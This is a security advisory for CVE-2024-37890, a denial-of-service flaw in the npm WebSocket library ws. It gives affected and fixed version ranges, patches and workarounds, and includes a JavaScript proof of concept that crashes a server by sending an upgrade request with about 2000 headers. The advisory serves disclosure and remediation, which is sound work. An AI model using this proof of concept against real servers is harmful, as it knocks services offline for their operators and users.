Packages / ws / Security

HighVulnerabilityGHSA-3h5v-q93c-6h6qCVE-2024-37890Published 17 Jun 2024

ws affected by a DoS when handling a request with many HTTP headers

Affected releases · ws

  • 8.x8.0.0 – 8.17.0Fixed in 8.17.1
  • 7.x7.0.0 – 7.5.9Fixed in 7.5.10
  • 6.x6.0.0 – 6.2.2Fixed in 6.2.3
  • 5.x5.0.0 – 5.2.3Fixed in 5.2.4
  • 4.x and older2.1.0 – 4.1.0No fix, no longer updated

On 8.x, the newest line:

npm install ws@8.17.1
8.x
  1. Affected

    8.0.0 – 8.17.0

    28 releases

  2. Fixed

    8.17.1 – 8.22.0

    13 releases, latest

7.x
  1. Affected

    7.0.0 – 7.5.9

    29 releases

  2. Fixed

    7.5.10 – 7.5.13

    4 releases

6.x
  1. Affected

    6.0.0 – 6.2.2

    9 releases

  2. Fixed

    6.2.3 – 6.2.6

    4 releases

5.x
  1. Affected

    5.0.0 – 5.2.3

    7 releases

  2. Fixed

    5.2.4 – 5.2.7

    4 releases

4.x
  1. Affected

    4.0.0 – 4.1.0

    2 releases

3.x
  1. Affected

    3.0.0 – 3.3.3

    7 releases

2.x
  1. Not affected

    2.0.0 – 2.0.3

    4 releases

  2. Affected

    2.1.0 – 2.3.1

    7 releases

184 stable releases of ws, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for ws. It is read in your browser and sent nowhere.

What happens

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in #2230.

References